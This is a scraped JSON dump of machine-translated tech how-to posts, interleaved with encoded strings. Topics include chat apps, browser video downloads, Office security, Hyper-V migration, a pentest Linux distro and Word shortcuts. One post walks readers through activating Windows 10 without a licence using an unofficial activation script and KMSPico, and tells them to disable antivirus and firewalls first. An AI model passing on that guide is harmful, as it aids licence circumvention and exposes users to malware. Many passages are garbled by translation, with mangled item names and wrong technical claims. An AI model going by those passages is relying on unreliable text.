028.38.33.33.66.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYpLy0sYytn55lop60qcCMpqCcqp%2BsrrexjKitnqZdlrCku9GdoKefXam8bsXOrqlmppWasbR50q2Yp5yRp7Fuw8itn6itpGKwsL7RnpqtoZ%2Bj\n","link":"/post/how-to-choose-the-right-microwave-oven-according-to-your-needs-standard-without-correction/","section":"post","tags":null,"title":"How to choose the right microwave oven according to your needs, standard without correction"},{"body":"Apps for creating chat rooms, video calling are now very popular and there are many for users to choose. Remotehour is an online chat room creation application that supports participants to video chat or share the computer screen, browser or device in use. Remotehour still has a normal text chat frame for you to message with your opponent when necessary, in addition to contact via video. The chat room creator only needs to send the link to the other person to message you, without having to create an account or register. The following article will guide you to read how to chat online on Remotehour.\nGuide to create online chat rooms on Remotehour Step 1:\nUsers access the link below to access the homepage of Remotehour.\nhttps://remotehour.co/  The creator of the chat room needs to be logged in to a Google account to use, click Sign in with Google .\n  Now you will see the chat room link to send to the other person. Note, only maximum chat with one person and maximum chat time for only 30 minutes.\n  Step 3:\nParticipants receive a link to access the chat room without creating an account. Participants name themselves if desired. Also below is the option for you to set up your microphone and video when chatting with friends. Click the Talk to button to connect.\n  Step 4:\nNow the two sides will connect with each other via video chat or via regular messaging. When using Remotehour on your phone you need to allow Remotehour to access the microphone and device camera\nIf you want to message, click Chat to send the message.\n  Step 5:\nTo share the screen , you need to install the Remotehour utility by following the link below.\nDownload the Chrome Remotehour extension :\u0026nbsp;https://chrome.google.com/webstore/detail/remotehour/mjjljnmaaeikmllmcbojjkcdigiicipd Then display the interface of the screen to share with friends. If you want to exit the chat room, click Leave is okay\nNote to users, although Remotehour supports both phones and computers, but it is best to use it on a computer.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapWannqG2r7GMnJ%2BarF2nvLC5jKilZqqVory1sceorKs%3D\n","link":"/post/how-to-create-an-online-chat-room-on-remotehour/","section":"post","tags":null,"title":"How to create an online chat room on Remotehour"},{"body":"To be able to download videos to iPhone, Android we can use many different services. And if you use Coc Coc browser on your phone, you can immediately use the feature to download videos and watch videos offline in the browser, no need of WiFi connection.\nIn the recent update on Coc Coc for Android, iOS, the manufacturer has added the video download feature to the browser so that users can view it even without an Internet connection. This will enable you to watch videos anytime, anywhere with every video playback site, when there are currently only YouTube videos available for offline viewing.\nHowever, the feature of downloading videos to Coc Coc browser on the phone will not be applied to YouTube due to copyright issues. The following article will guide you to download videos to Coc Coc browser on Android, iOS.\nHow to download audio files from Youtube videos on Coc Coc How to add account on Coc Coc browser How to fix Coc Coc error is not accessible Instructions for downloading videos on Coc Coc phone Download Coc Coc Android browser Download the Coc Coc iOS browser Step 1:\nFirst of all, you need to download Coc Coc browser on the phone according to the latest version at the link above or you can update the version on the device. Then you access any page with any video in the browser.\nWhen looking at the video we will see there are 2 icons to the right of the video. 1 is the icon of pinning videos on Coc Coc that is applied to all videos on sites including Youtube, 2 is the download icon. Click on the download icon to proceed to download videos on Coc Coc.\nImmediately users will be switched to a new tab to download videos, click Download in the bottom right corner of the interface. Videos will be in mp4 format on all video playback sites.\n   Step 2:\nYou wait for the download process on Coc Coc to complete. In the download interface, users will know the download time as well as the size of the video. Video download time is fast or slow depending on the WiFi speed you are using, as well as the video size.\nWhen the video is finished downloading, you can click Open in . or press Play.\n   When clicking Open in, users will have more options to upload videos to Facebook if required.\n   Step 3:\nSo the video has been downloaded to Coc Coc browser. To control all downloaded videos, click on the Coc Coc icon in the top right corner, select All downloads . You will then see a list of downloaded files, including videos.\nFrom the download file management section on Coc Coc, users can watch videos offline , without the need of WiFi connection.\n    Along with the video pinning and video downloading feature to Android and iOS Coc Coc browsers, users have a new experience when watching videos in the browser. You just need to download the video to Coc Coc 1 time and then you can watch the video freely without a WiFi connection.\nSee more:\nHow to install Savior on Coc Coc How to check the dictionary on Coc Coc How to display the Home button on Coc Coc I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK%2BhlJq8tHnOp2Scp5NisLCvjKKnoaeemnqiusOrpqKc\n","link":"/post/how-to-download-videos-on-coc-coc-iphone-android/","section":"post","tags":null,"title":"How to download videos on Coc Coc iPhone, Android"},{"body":"Google Images is a popular image search site and is widely used by many people today. And if users want more customizations for Google Images image search service, they can install the Canvas gadget. This widget will help users browse images, especially editing images right on the interface of Google Images. You can browse images from left to right to view images, without opening each image in turn by default. Photo editing on Canvas will use the Canvas Editor tool of this gadget. The following article will guide you how to edit photos on Google Images.\nHow to bring the View Image button back when searching for images on Google How to search photos on Opera via Google Images How to get the embed code on Google Photos The fast Google search tips you should know Instructions for editing photos on Google Images Step 1:\nUsers click on the link below to install the Canvas gadget on Chrome browser.\nDownload the Canvas Chrome gadget   Step 2:\nImmediately after installation, users will see the utility integrated with each image on Google as shown below. Each icon will have different features.\nEye icon View Image: see image. Plus icon Open Image In New Tab: reuse the View Image button on Google Images. Pen icon Edit Image: edit the image. Magnifying glass icon Search By Image: find similar images. Download Image Download Image icon: download images to your computer. 3 dots icon: with 2 options Download in Folder to upload photos to the selected folder and Copy Image link copy URL of the image.   Step 3:\nClicking on the eye icon will display the image browsing interface with a black background, below is the size of the image and the original web page of the image. Above are other options for images. Press the arrow left or right to view more images on the image search page.\n  Step 4:\nClick the Edit Image section to edit the image. The image editing interface will look like the following.\n  Tools for editing photos below such as cropping images, rotating images, inserting text into images, drawing pictures, inserting icons, .\n  Click on the 2 dashes icon to expand the color filter and effects for the image.\n  After editing, press the Download button to download the new image or click Close to close the interface.\n  Step 5:\nWhen clicking Download in Folder , users are asked to allow downloading photos to the computer, click Allow to agree. We will then select the folder to download the image to.\n  With Canvas utility, image search Google Images Chrome browser has more tools, supports you to search for photos, browse photos more easily. When using the user should open View Image mode to see all the tools for the image.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFuvMeoq6irXaS7brPOqJ6lnV2euqKzxKw%3D\n","link":"/post/how-to-edit-photos-on-google-images/","section":"post","tags":null,"title":"How to edit photos on Google Images"},{"body":"MS DOS 7.1 is a modified version of MS DOS 7.10, which came with Windows 95/98 computers made by someone called Wengier. Modifications include support for long file names, support for the FAT 32 file system, out of the box mouse support, a...\nPart 3of 3:\nShutting Down  Make sure the DOS prompt shows only C:\n   Type, without the quotation marks, \"shutdown\".    Type S. Your computer should now shutdown.  To restart the computer, type 'shutdown' then press r or press the following keys Ctrl Alt \n  Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpKxllKTAboOQ\n","link":"/post/how-to-install-ms-dos-7-1/","section":"post","tags":null,"title":"How to Install MS DOS 7.1"},{"body":"Microsoft has allowed users to experience tab features on build 17618 of Windows 10. And to satisfy users, Microsoft even adds features to the File Explorer application.\nBesides File Explorer, other available Windows applications also have tab support including Notepad, Command Prompt, and PowerShell. Also on Windows 10 tab apps are supported on apps like Mail, Calendar, OneNote, and MSN News. This helps users browse files with File Explorer in parallel while working with tabs on OneNote or Mail.\nAll applications such as web, documents, and files are in a Windows window so users can seamlessly switch from one application to another, similar to changing one tab to another in the browser to save time.\nMicrosoft also provides some shortcuts for users to work faster:\nCtrl + Win + Tab : Switch to the next tab. Ctrl + Win + Shift + Tab : Switch to the previous tab. Ctrl + Win + T : Open a new tab. Ctrl + Win + W : Close the current tab.\n  Tab on File Explorer.\n  Tab on Windows PowerShell.\n  Tab on Notepad.\n  Tab on Command Prompt.\nCurrently, this new feature is also being tested by Microsoft on Windows Insiders. The tab in Windows 10 will be called \"Sets\", and will most likely appear on the next Windows 10 update codenamed Redstone 5 later this year.\nSee more:\nMicrosoft released Windows 10 build 17115 for Insider Fast, fixing a series of big and small errors Download Total PC Cleaner - a tool to help clean junk files and optimize Windows 10 without harming your computer, for free Windows 10 S can be unlocked by Smartphone ncG1vNJzZmismaXArq3KnmWcp51ktrV5yKxkqaejqLajuMRmq6hlla29pr7InqWcnV2prqOuxJ1km6qfrMCqusZmrqKsmGKyubzLqKmeql2btq2xjKilZq%2BZo7Gww9JmaGk%3D\n","link":"/post/it-is-possible-to-experience-tabbed-browsing-with-explorer-file-on-windows-10/","section":"post","tags":null,"title":"It is possible to experience tabbed browsing with Explorer file on Windows 10"},{"body":"All pentesters have heard of BackTrack, this is the most popular penetration testing purpose available, but NodeZero is also a great replacement. NodeZero uses the Ubuntu archive to keep the system up to date.\nWhat is NodeZero? NodeZero is an Ubuntu-based Linux distribution, designed as a complete system, which can also be used for pentest (penetration testing). NodeZero provides about 300 tools for the pentest purpose and establishes the basic services needed in penetration testing. In addition, developers prepare a repository of pentest tools for your system to be updated at all times.\n  NodeZero has THC IPV6 Attack Toolkit, including tools like live6, Det-new-ip6, dnsdict6, dos-new-ip6, fake-ad Advertising6, fake-mipv6, fake_mld6, fake_router6, sendpees6, smurf6, toobig6 and trace6.\nNodeZero is officially called Ubuntu Pentest Edition and is the first Ubuntu / Gnome-based pentest distribution to be released. NodeZero 1 is built on Ubuntu 10.04 LTS Lucid Lynx.\nWhat is special about NodeZero? Testing pentest and security requires specialized tools. Naturally, you will have to gather all the information in one convenient place. However, making use of the information gathered is crucial for how you deploy the test.\nThe NodeZero Linux development team is comprised of testers and developers. They found that live (live) systems did not provide what they needed in the security check. Distributions intended for pentest purposes tend to use Linux's 'Live' system concept, which actually means that they try not to create any permanent effects on the system. So all changes will disappear after reboot and run from media such as disk and USB. All of this can be handy for infrequent testing, but its usefulness may be gone, if you do this continuously.\n  Although NodeZero Linux can be used as a Live system for occasional testing purposes, its true strength comes from understanding that testers require a robust and efficient system. Working with a fixed distribution, there are many powerful tools, integrated with a stable Linux environment, gives users more confidence.\nNodeZero Linux is reliable, stable and powerful. Based on the industry's leading Ubuntu Linux distribution, NodeZero Linux has all the stability and reliability, accompanied by Ubuntu's long-term support. Its power comes from tools that are configured to perform well in the environment.\nWhere to download NodeZero?   NodeZero is currently available in English and it was last updated on August 15, 2015. The program can be installed on WinXP, WinVista, Win7 x64, Win7 x32.\nDownload NodeZero Note:\nUsername for Live mode: nodezero Password for Live mode: [leave this blank] ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMeeZKenlJrHpr7OZqapnaKWwaq6xmaqsqukmro%3D\n","link":"/post/learn-about-the-nodezero-operating-system/","section":"post","tags":null,"title":"Learn about the NodeZero operating system"},{"body":"The current Microsoft Office 2007 system is only a beta. You can download this version here and we will learn about some of the new security features included in this latest version. Better protection against phishing in Microsoft Office documents You may have heard we talked about phishing attacks: phishing emails or websites designed to steal your identity. If you click on a suspicious link in a Microsoft Office document, the following warnings will appear:\n  You can then choose whether to continue to visit these websites or not. In this situation, we recommend choosing No. Better protection against phishing with Microsoft Office Outlook 2007 Microsoft Office Outlook 2007 always makes the default notification when there is a suspicion: • If the message receives a Junk E-mail Filter definition of spoofing (but not a spam definition), the filter will keep this message in your inbox but will disable any links in the message. message and stop replying to that message. • If the message receives the Junk E-mail Filter definition as spam and spoof, Outlook 2007 will send this message to the Junk E-mail folder. Outlook converts all bulletins sent to the Junk E-mail folder to explain the format of the text and disables all links within them. It also prevents you from answering those messages. InfoBar notifies you of this change:\n  If you click on a link that Outlook has disabled, the Outlook Security dialog box will appear.\n  If you want to continue to receive these notifications, click OK . Lock dangerous content in documents To protect your privacy and privacy, Microsoft Office blocks extended content - such as photos, media connections, hyperlinks and other connections - in a workbook or slideshows. Expanded content is any content linked from the Internet or the intranet to a workbook or slide show. The imposter can use this extension to steal personal information or run malicious code on a computer that you do not know or allow. If the workbook or slide show has expanded content, when trying to open the file, there will be a Message Bar telling you that this extension has been closed. You will not be able to view or edit content in the workbook or slide show.\n  If you click Enable Content on Message Bar, a security dialog will open and give you the option to unlock this extension. You should only unlock the expanded content if you are sure it is from a trusted source.\n  Security settings in Trust Center \n Trust Center is where you can change security and privacy settings for Microsoft Office programs. Very high, high, medium and low security levels used in previous versions of Microsoft Office applications are replaced with more appropriate security systems.\n  To access Trust Center in Microsoft Office Word, Excel, PowerPoint or Access, follow the steps : 1. Click on the icon  Microsoft Office , select Program Name option. 2. Click Trust Center \u0026gt; select Trust Center Settings . To access Trust Center in Visio, Outlook, Publisher or InfoPath : 1. On the Tools menu, click Trust Center 2. Click on the security zone you want\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrynssicnGZqYGWEbrzRnq2epqSeu6h5w5qloJ2ipMK0ecKopa2dnql6orrDZqehoaOdtq%2BzjKyamqWj\n","link":"/post/preventing-dangerous-content-and-phishing-scams/","section":"post","tags":null,"title":"Preventing dangerous content and phishing scams"},{"body":"To make it easier for users to edit content, on Word, Excel or other text editing tools, it is possible to type quickly and quickly. In Excel and Word, the shortcut feature is called AutoCorrect.\nWhen the user sets the acronym with the full content, Excel automatically recognizes the word and when you enter the acronym, the complete content is displayed. Thus, with the content of documents appearing many words, we will not need to type many times but just type the acronym for it. The following article will guide you how to type shortcut on Excel.\nHow to create an alternative phrase in Google Docs How to use the shortcut function in Unikey? Complete guide to Excel 2016 (Part 11): Check spelling in the worksheet Instructions for setting up AutoCorrect Excel Step 1:\nIn Excel interface, click on the Office icon above and then click on Excel Options .\n  Step 2:\nIn the new dialog box interface click on Proofing in the list on the left of the interface and look to the right, click on the AutoCorrrect Options item .\n  \nStep 3:\nThe AutoCorrect English dialog box appears. Here, the user proceeds to enter the content you want to turn off. The acronym will enter in the Replace box. The content of the acronym will be written in With . Then click the Add button to save this abbreviation in Excel.\n  You will immediately see the acronym that appears in the table below.\n  Step 4:\nGo back to the contents of the Ecxcel table and type the abbreviated abbreviation and press Enter. The full content of the word shortcut will appear.\n  To delete the shortcut that was added to Excel, you also access the AutoCorrect entry in Excel and then click on the abbreviated abbreviation, press Delete.\n  With AutoCorrect feature in Excel, you can shorten the time to enter long words, or appear multiple times in the content. Also, working on Word can use AutoText, also for quick writing or short typing in content.\nSee more:\nHow to keep Excel and Excel columns fixed? How to temporarily hide rows and columns in Excel 2013 Change color between different lines in Microsoft Excel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kwKm70a2arqxdnMKqsMRmmJuaoprDqq3TnptmoZ5isrmvxKU%3D\n","link":"/post/shortcut-guide-abbreviated-in-excel/","section":"post","tags":null,"title":"Shortcut guide, abbreviated in Excel"},{"body":"Equipment in the Truth Arena can be cumulative, and they will have their cumulative effects in the DTCL. If you know they can add effects and internal, you will be able to determine the direction to map all your DTCL teams. Here are some information about equipment that can accumulate effects and internality in the Truth Arena.\nLet's find out in detail what equipment can accumulate and detail their cumulative effect in the Truth Arena to be able to determine the build direction of your next lineup.\nThe way to equip the equipment is very strange but effective in Truth Arena How is blood in the Truth Arena deducted? Synthesis of 50+ Truth Arena wallpapers for computers and laptops Summary of the effects of the accumulated equipment in the Truth Arena   Equipment\nPlus Don?\nComment\nAll equipment is paired with Golden Shovel In addition to the Big Show, nearly every piece of equipment with Gold Shovel cannot be stacked.\nCurse Blade Yes The higher the number of stack searches, the higher the ratio of enemy minions (a separate 20% rate does not accrue proportion). Can reduce 2 stars at the same time if both items are activated.\nGold Shovel + Golden Shovel Yes Create Natural Armor and you can stack a lot to add \"personnel\" in the team.\nDragon Swipe Yes This equipment should be spread even more than the whole 2 Swipe the same general. Although 2 Swipe still stack higher than 100% magic resistance.\nHurry Yes Should stack with 2 items, the stack will double the attack speed compared to 1 item.\nSilent Mute Blade Yes Each item has its own 50% silent rate and does not accrue 100% rate, so spread them out.\nHeart Ice Yes When stacked, it may not stack up 20% speeding effect but will stack armor, you can try about 5 Heart Range to watch.\nMorello Devil Letter No It would be bad to have 3 Devils for a champion, because the effect doesn't increase x2 damage.\nThe Palace of Light It will not activate double damage when there are two bows up and 1 champion. You should spread the equipment to the 2 generals to attack them.\nLuden Voices No Should spread to 2 generals instead of a general that uses up to 2 Luden Voices because 2 items still do not increase damage.\nMa Vu Song Kiem No You only need 1 Ma Vu for 1 champion, because 100% or 200% dodge it is no different. Red Charm No Just like a Devil Letter, you only need 1 red amulet effect for 1 champion instead of 1 champion with two Red Charms.\nHat Witch Rabadon Yes Increase x2 the amount of AP received, if equipping Karthus with a 6 Magician's buff, there is nothing left to say.\nDoctor Lien Thanh Yes Doubling the attack range, almost 1 has included maps for the generals to have long arm, and increase 2 hit range for melee heroes.\nCheerful Yes With 2 or 3 items, it is possible to accumulate blows, increasing the number of targets that can hit up to 1-3-8 targets.\nAtonement Chain Yes The recovery is double the amount of blood, but it will take a lot of material to stack up.\nThe Staff of the Great Angel Yes Double the amount of energy gained from intrinsic skills, equip Karthus and Miss Fortune.\nElectric Knife Statikk Yes Very hot when stacking a hero with 2 - 3 electric knives, it will increase 2-3 times the damage per activation. Suitable for fast speed heroes.\nỶ Heavenly Sword Yes Like the Silent Mute Knife, it only increases the ratio separately and does not increase the internal cracking rate of equipment when accumulated.\nSwords There Like Dao Lang Lang and Ỷ Thien Kiem, it only increases by 25% a separate ratio to ban the opponent and does not accrue up to 50% or 75%.\nGiap Gai Yes It's great to equip Braum 2 - 3, it will be 2 - 3 times the damage countered.\nBlood Armor Warmog Yes Add up both blood and cumulative healing rate, causing the opponent to get tired of their hands.\nThe Great Ax of the Shell Soap Should equip the Gunners, the stack will increase the damage spread from the attack.\nStack up increases damage inflicted from the attack, very strong for Gunners\nPhong Kiem Yes It is possible to stacks, but the rate of disappearing enemy heroes will be symmetrically positioned with the generals in your squad, so it is better to spread them to the 2 generals.\nThis is all the effects when stacking in TFT, based on this you can know when to stack the equipment for any champion when in the game.\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qmssWemq2rXZu8s3nAnJqupaWhrrWxw2anmp%2BVqHqquoytn55lpKfCtbSMmqmeppFixrDBjKyfqK2cmXq1vtg%3D\n","link":"/post/summary-of-effects-for-accumulated-pages-in-the-truth-arena-you-should-try/","section":"post","tags":null,"title":"Summary of effects for accumulated pages in the Truth Arena you should try"},{"body":"Currently, there are many ways of Active Win 10 such as using active win 10 key, using 3rd party software ., each with different advantages and disadvantages.\nMethod 1: Use the License Key Windows 10 to Active directly\nStep 1 : Open the Start Menu, type 'Settings' to access Windows Settings.\n Step 2 : In Windows Settings, continue to access the System folder.\n Step 3 : Under Settings, select About and access Change Product key or Upgrade your edition of Windows.\n Step 4 : Select Activation and click Change Product key.\n Step 5 : Enter your key and click Next.\n Step 6 : Click Activate, wait for the Windows 10 system to check.\n Method 2: Active win 10 digitally thanks to Script Cmd\nThis is a method to take advantage of how to upgrade from win 7 and win 8 / 8.1 with a copyright that has been activated before to win 10 will be granted a digital license. After using this method, the machine will also be comfortable in updating windows.\nStep 1 : Download the Script Cmd application and extract it.\n Step 2 : Open the extracted folder, right-click the Script_kich_hoat_ban_quyen_so_windows_10_version6.cmd file and select Run as Administrator (run as an administrator).\n Step 3 : Press the 1 key on the keyboard, the activation process will automatically take place.\n Step 4 : After the activation process is complete, press any key to return to the original menu. Press 2 to check the activation status of windows. If the words 'The machine is permanently activated' is displayed, congratulations, you have the copyright to win 10 permanently.\n Note:\n• Script does not add any files to your system.\n• Windows Update must be enabled at the time of activation.\n• An internet connection is required to activate.\n• Turn off browser viruses and firewalls before planning to avoid problems.\u0026nbsp;\n• After activation, on the same hardware, if you reinstall Windows with the same version, the system will automatically activate (only applicable to the retail installer of Windows 10)\nSupported Windows versions:\n• Core (Home)\n• Core (Home) (N)\n• CoreSingleLanguage\n• CoreSingleLanguage (N)\n• Professional\n• Professional (N)\n• ProfessionalEducation\n• ProfessionalEducation (N)\n• ProfessionalWorkstation\n• ProfessionalWorkstation (N)\n• Education\n• Education (N)\n• Enterprise\n• Enterprise (N)\n• Enterprise LTSB 2016 \u0026amp; N\n• Enterprise LTSB 2015 \u0026amp; N\nMethod 3: Use KMSPico as an indirect Active tool\nKMSPico is one of the best and also completely clean. In addition to Active Win 10, KMSPico software can also Active Office 2010 and other versions.\nStep 1 : Download the KMSPico Portable tool\nStep 2 : Unzip and run the file Autopico.exe\u0026nbsp;\n Note: Remember to turn off the antivirus program before running offline.\nStep 3 : After the Autopico file is finished running, the tool will automatically activate win 10 on your computer.\nAbove are the ways Active win 10 permanently ensure the best success today. Good luck!\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kwbO1wqSqZpmTqba3sYywoKdlYWV6sbHRqZytrZGheqS7z7Kpop%2BYqXq0wcKcnKyrlqq5bn2PaQ%3D%3D\n","link":"/post/tricks-active-win-10-perpetual-copyright-successful-100/","section":"post","tags":null,"title":"Tricks Active Win 10 perpetual copyright successful 100%"},{"body":"TipsMake.com - With Quick Migration feature, users can easily move an active virtual machine from a real host system through another system with minimum downtime, while ensuring Performance and stability required. By using Windows Server Hyper-V or Windows Server 2008 with Hyper-V , along with Quick Migration , managers can be fully proactive in risk situations at any time, for example As for errors in the process of upgrading and maintaining the system . these are the top criteria if you want to meet the needs of many companies, organizations or businesses today.\nTo use this method, you must install System Center Virtual Machine Manager 2008 and use this function to perform the migration process. When applied to Failover Cluster, Quick Migration will work on its own according to the following mechanism: For pre-arranged system migration plans, the process will save the temporary status of the Guest Guest virtual machine (the old server's memory will be saved to the hard drive, the partition will be shared). , move the storage capacity from one physical host to another, then proceed to restore the original state on the new host. During this whole process, there will be an almost inevitable downtime, the fast or slow factor of the system depends on the amount of RAM installed for the virtual machine and the speed of the system. subsystem. In the event of an unprepared downtime, the system cannot save the current status of the virtual machine. Instead, the virtual machines are automatically transferred to another host in the Cluster system, and the boot-start process will start from the Cold state.\nNote that we do not need to set up Failover Cluster of 2 or more Hyper-V hosts to enable the Quick Migration feature to work. However, if we fail to deploy the Failover Cluster , we will not be able to handle situations where the server has problems without prior preparation plans, and the whole process will have to be done manually. If you decide to use the Failover Cluster , you must use the Windows Server 2008 Enterprise or Windows Server 2008 Datacenter operating system. Our tests only apply to the Hyper-V R2 platform, not tested or tested for the RTM version of Hyper-V, so there are some differences in the presentation. below your actual system. In addition, the author did not mention Quick Migration 's automatic Failover Cluster case, but instead moved the virtual machine from one host to another with a minimum download time.\nSome points to note before proceeding: In fact, when we want to move the virtual machine from one Hyper-V host to another, we must use the Migration option available in SCVMM. On the other hand, there are two things that need to be carefully prepared to ensure a stable migration process:\n- Virtual Networks must be initialized on the new host. If not done before, the user will have to set it manually at the Settings page of the virtual machine.\n- Use the same processor on both hosts. If the CPU is the same but not of the same type, we will have to adjust it via the Processor Compatibility function .\nPerform the migration process: First, open the SCVMM 2008 R2 main console , then select Virtual Machines\u0026gt; All Hosts, find the correct host part that the virtual machine is running.\nIn essence, the virtual machine part that needs to be moved doesn't need to turn off or save the active state at that time. However, you should note that the downtime period will occur several times during this entire migration process, so the account connecting to the virtual machine will experience some symptoms such as disconnection. connecting, hanging screen . for most applications, the timeout period of that program will be longer than that of downtime , so the user's account does not need to reconnect to the system.\nThen, right-click on the virtual machine and select Migrate - this function will perform Quick Migration or Live Migration , based on the basic settings of the system. In this case, the author does not have the Failover Clustering , so the system will perform Quick Migration:\n Select Yes at the next screen:\n  There will be some downtime during this process\nThe list of all Hyper-V hosts (usually VMware ESX / ESXi ) will display, select the correct host component you need to move the virtual machine to. Note that at this time, SCVMM will automatically change or adjust the performance of the system based on the hardware configuration. Select the host and click Next :\n Select the path of the virtual machine on the host host, make sure you have enough free space to proceed, then click Next :\n If network parameters have been set up before, they will be automatically selected. Otherwise, the user will have to do it manually. Click Next to continue:\n Check all the information at Summary , press Move to start the migration process. Note that we can also copy the PowerShell code used to perform the backup. Besides, click Cancel at any time in the process to cancel the job.\nThe Jobs window will tell us about the progress of the work:\n Back in the main control window of SCVMM , you can clearly see the progress bar - Progress , the current status is Under Migration:\n However, during this entire time, virtual machines are still operating normally without any downtime . But in fact in Background mode , SCVMM will continually create snapshots (or more precisely called checkpoints ) of the virtual machine. All information, the I / O signal of the hard drive will be temporarily recorded into the AVHD files for this snapshot. After that, the VHD files of the virtual machine will be copied to the host host, this process will happen quickly or slowly depending on the total capacity of VHD files as well as the connection speed of the network system:\n And during this time, our virtual machine is still in a normal state of operation. However, if you look at the Task Manager Network tab, you will see many tasks that are still \"silently\" happening:\n If you use the ping function in this process, we will still receive the reply signal (unless the ICMP reply feature has been disabled in the firewall ):\n When the copy process finishes, the state - the state of the virtual machine will be stored by the system, which means there will be no further changes 'written' to the AVHD file:\n This information state will be sent to the host:\n When this 'shipping' process is finished, we will see how the virtual machine is restored from the corresponding states :\n During this time, the entire network connection of the system will be temporarily lost, when 100% is completed, everything will return to normal:\n And our process is complete:\n Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjKqsopubYrqqs9Gaq6KnnmLBsHnMqK2eZaaev7XBwKVkppmTnbavsdJmmZ6sp5qyr3nHsqeeqqZitbC%2F06w%3D\n","link":"/post/use-quick-migration-to-move-virtual-machines-between-hyper-v-hosts/","section":"post","tags":null,"title":"Use Quick Migration to move virtual machines between Hyper-V hosts"},{"body":"Here are the keyboard shortcuts useful when using Microsoft Word versions 2003, 2007, 2010, 2013, 2016: Ctrl + N: Create a new document.\nCtrl + O: Open the document.\nCtrl + S: Save the document.\nCtrl + C: Copy text.\nCtrl + X: Cut selected content.\nCtrl + V: Paste text.\nCtrl + F: Turn on the search dialog.\nCtrl + H: Turn on replacement dialog.\nCtrl + P: Turn on the print dialog.\nCtrl + Z: Return the status of the text before executing the last command.\nCtrl + Y: Restore current state of document before executing Ctrl + Z command.\nCtrl + F4, Ctrl + W, Alt + F4: Close document, close Microsoft Word window.\nCtrl + B: Bold format.\nCtrl + D: Open the font formatting dialog box.\nCtrl + I: Italic formatting.\nCtrl + U: Underline format.\nCtrl + E: Center the selected text.\n  Ctrl + J: Align selected text.\nCtrl + L: Left-align the selected text.\nCtrl + R: Right-aligns selected text.\nCtrl + M: Text indentation format.\nCtrl + Shift + M: Delete indent formatting.\nCtrl + T: Indent the second line or more of the paragraph.\nCtrl + Shift + T: Delete paragraph indentation from 2 onwards.\nCtrl + Q: Delete paragraph alignment formatting.\nShift + -\u0026gt;: Select one character after.\nShift +\nCtrl + Shift + -\u0026gt;: Select one word behind.\nCtrl + Shift +\nShift +: Select one row above.\nShift + (down arrow): selects a row below\nCtrl + A: Select all objects, text, slides depending on where the cursor is standing.\nBackspace (-\u0026gt;): Delete one front character.\nCtrl + Backspace ( Ctrl + Delete: Delete one word behind.\nCtrl + Arrow: Move through 1 character.\nCtrl + Home: Go to the beginning of the document.\nCtrl + End: Go to the last position in the document.\nCtrl + Shift + Home: Select from current position to beginning of text.\nCtrl + Shift + End: Select from current position to the end of the text.\nCtrl + Shift + C: Copy the formatting of the data that needs to be copied.\nCtrl + Shift + V: Paste the copied formatting into the selected data area.\nShift + Tab: Move to the selection, the selection group is in front.\nCtrl + Tab: Move to the next tab in the dialog box.\nShift + Tab: Move to the front tab in the dialog box.\nShift + Tab: Move to and select the contents of the adjacent cell.\nCtrl + Shift + F8 + arrow keys: Extend the selection by block.\nShift + F8: reduce the size of the selection block by block.\nAlt + Home: Go to the first cell of the current line.\nAlt + End: Go to the last cell of the current line.\nAlt + Page up: Go to the first cell of the column.\nAlt + Page down: Go to the last cell of the column.\nF1: Help.\nF2: move text or image. (Select pictures, press F2, click destination, press Enter.\nF3: Insert text automatically (corresponding to the Insert menu - AutoText).\nF4: Repeat last action.\nF5: Execute Goto command (corresponding to menu Edit - Goto).\nF6: Move to the next panel or frame.\nF7: Perform spell check commands (menu Tools - Spellings and Grammars respectively).\nF8: Expand the selection.\nF9: Updates for the currently selected fields.\nF10: Activates the command menu bar.\nF11: Move to the next school.\nF12: Execute a save command with a different name (File - Save As menu corresponds to .).\nShift + F1: Display the help cursor directly on the objects.\nShift + F2: Quickly copy text.\nShift + F3: Convert uppercase to lowercase characters.\nShift + F4: Repeat the action of Find, Goto.\nShift + F5: Move to the position with the latest change in text.\nShift + F6: Move to the front panel or frame.\nShift + F7: Perform a command to find synonyms (corresponding menu Tools - Thesaurus).\nShift + F8: Collapse the selection.\nShift + F9: Toggle between the code and the result of a field in the text.\nShift + F10: Display a context menu (corresponding to right click on objects in the document).\nShift + F11: Move to the adjacent front field.\nShift + F12: Perform command to save document (corresponding to File - Save or Ctrl + S combination).\nCtrl + F2: Print preview command (File - Print Preview respectively).\nCtrl + F3: Cut a Spike.\nCtrl + F4: Close the text window (does not close the Microsoft Word window).\nCtrl + F5: Restore the size of the text window.\nCtrl + F6: Move to the next text window.\nCtrl + F7: Perform the move command on the system menu.\nCtrl + F8: Perform the command to resize the window on the system menu.\nCtrl + F9: Insert a blank field.\nCtrl + F10: Maximize the text window.\nCtrl + F11: Lock a field.\nCtrl + F12: Execute a document to open (File - Open, or Ctrl + O).\nCtrl + Shift + F3: Insert content for Spike.\nCtrl + Shift + F5: Edit a bookmark.\nCtrl + Shift + F6: Move to the front text window.\nCtrl + Shift + F7: Update text from linked source documents (such as source text in mail merge).\nCtrl + Shift + F8: Extend selection and block.\nCtrl + Shift + F9: Unlink to a field.\nCtrl + Shift + F10: Activate the bar.\nCtrl + Shift + F11: Unlock a field.\nCtrl + Shift + F12: Print a print job (File - Print, or Ctrl + P)\nAlt + F1: Move to the next field.\nAlt + F3: Create a word automatically for the currently selected word.\nAlt + F4: Quit Microsoft Word.\nAlt + F5: Restore window size.\nAlt + F7: Find the next spelling and grammar mistakes in the text.\nAlt + F8: Run a marco.\nAlt + F9: Switch between code and the result of all fields.\nAlt + F10: Maximize the window of Ms Word.\nAlt + F11: Display the Visual Basic command prompt.\nAlt + Shift + F1: Move to the front field.\nAlt + Shift + F2: Perform the text save command (Ctrl + S, respectively).\nAlt + Shift + F9: Run the command GotoButton or MarcoButton from the results of the fields in the text.\nAlt + Shift + F11: Display code.\nCtrl + Alt + F1: Display system 